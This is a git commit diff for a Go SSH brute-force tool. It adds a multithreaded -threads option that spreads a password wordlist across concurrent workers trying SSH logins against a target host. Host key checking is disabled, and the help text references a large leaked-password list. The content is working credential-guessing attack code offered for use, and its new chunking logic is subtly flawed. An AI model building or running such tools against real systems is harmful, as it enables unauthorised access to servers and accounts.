Added -threads option for quicker execution, still requires optimization

Author: NovusEdge

commands/attack.go

@@ -38,11 +38,13 @@ func main() {
 	var port uint
 	var user string
 	var proto string
+	var threads int
 	var passlist string
 	var userlist string
 	var timeout time.Duration
 
 	flag.UintVar(&port, "port", 22, "Specifies the port on which target is hosting it's ssh service")
+	flag.IntVar(&threads, "threads", 16, "Specify the number of threads to use for the attack.")
 
 	flag.StringVar(&proto, "proto", "tcp", "Specify protocol used for the attack. (tcp/udp)")
 
@@ -59,10 +61,10 @@ func main() {
 	timeout = time.Duration(t) * time.Millisecond
 	target := os.Args[len(os.Args)-1]
 
-	attack(proto, target, port, user, userlist, passlist, timeout)
+	attack(proto, target, port, user, userlist, passlist, timeout, threads)
 }
 
-func attack(proto string, host string, port uint, username string, userlist string, passlist string, timeout time.Duration) {
+func attack(proto string, host string, port uint, username string, userlist string, passlist string, timeout time.Duration, threads int) {
 	var wg sync.WaitGroup
 	var usernames = []string{username}
 
@@ -80,21 +82,32 @@ func attack(proto string, host string, port uint, username string, userlist stri
 
 	for _, uname := range usernames {
 		wg.Add(1)
-		go attackWithUsername(proto, host, uname, passwords, timeout, port, &wg)
+		go attackUser(proto, host, uname, passwords, timeout, port, &wg, threads)
 	}
 	wg.Wait()
 
 }
 
-func attackWithUsername(proto, host, username string, passlist []string, timeout time.Duration, port uint, wg *sync.WaitGroup) {
-	for _, pass := range passlist {
-		ok, _ := src.AttemptConnection(proto, username, host, pass, port, timeout)
-		if ok {
+func attackUser(proto, host, username string, passwords []string, timeout time.Duration, port uint, wg *sync.WaitGroup, threads int) {
+	var w sync.WaitGroup
+	pswds := seperateIntoThreads(passwords, threads)
+
+	for _, p := range pswds {
+		w.Add(1)
+		go worker(proto, host, username, p, timeout, port, &w)
+	}
+	w.Wait()
+	wg.Done()
+}
+
+func worker(proto, host, username string, passwords []string, timeout time.Duration, port uint, w *sync.WaitGroup) {
+	for _, pass := range passwords {
+		if ok, _ := src.AttemptConnection(proto, username, host, pass, port, timeout); ok {
 			fmt.Println(utils.ColorIt(utils.ColorGreen, fmt.Sprintf("[+]: Found Working login:\n\tUsername: %s\n\tPassword: %s", username, pass)))
+			break
 		}
-		wg.Done()
 	}
-
+	w.Done()
 }
 
 func splitPasslist(passlist string) []string {
@@ -106,3 +119,30 @@ func splitPasslist(passlist string) []string {
 
 	return strings.Split(string(file), "\n")
 }
+
+func seperateIntoThreads(passwords []string, threads int) (res [][]string) {
+	var threadLen int
+
+	if len(passwords) < threads {
+		threadLen = threads
+	} else {
+		threadLen = (len(passwords) / threads) % 100
+	}
+
+	return chunkSlice(passwords, threadLen)
+}
+
+func chunkSlice(slice []string, chunkSize int) [][]string {
+	var chunks [][]string
+	for i := 0; i < len(slice); i += chunkSize {
+		end := i + chunkSize
+
+		if end > len(slice) {
+			end = len(slice)
+		}
+
+		chunks = append(chunks, slice[i:end])
+	}
+
+	return chunks
+}

src/client.go

@@ -22,7 +22,7 @@ import (
 // AttemptConnection tries to connect to the ssh server using credentials
 // provided.
 func AttemptConnection(proto, username, host, password string, port uint, timeout time.Duration) (bool, error) {
-	if proto != "tcp" || proto != "udp" {
+	if proto != "tcp" && proto != "udp" {
 		log.Println(utils.ColorIt(utils.ColorYellow, fmt.Sprintf("[W]: Did not recognize protocol: %s for ssh dialup.\nUsing tcp as default", proto)))
 		proto = "tcp"
 	}
@@ -34,6 +34,7 @@ func AttemptConnection(proto, username, host, password string, port uint, timeou
 	}
 
 	sshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()
+	sshConfig.SetDefaults()
 
 	client, clientErr := ssh.Dial(proto, fmt.Sprintf("%s:%d", host, port), sshConfig)
 	if clientErr != nil {

src/consts.go

@@ -87,7 +87,10 @@ OPTIONS:
         https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100000.txt
 
     -timeout
-        Specifies the timeout between each attack attempt in milliseconds. (Default: 500ms)`
+        Specifies the timeout between each attack attempt in milliseconds. (Default: 500ms)
+
+    -threads
+        Specify the number of threads to use for the attack. (Default: 16)`
 
 	CommandHelpHelp = `USAGE:
     buraq help [command]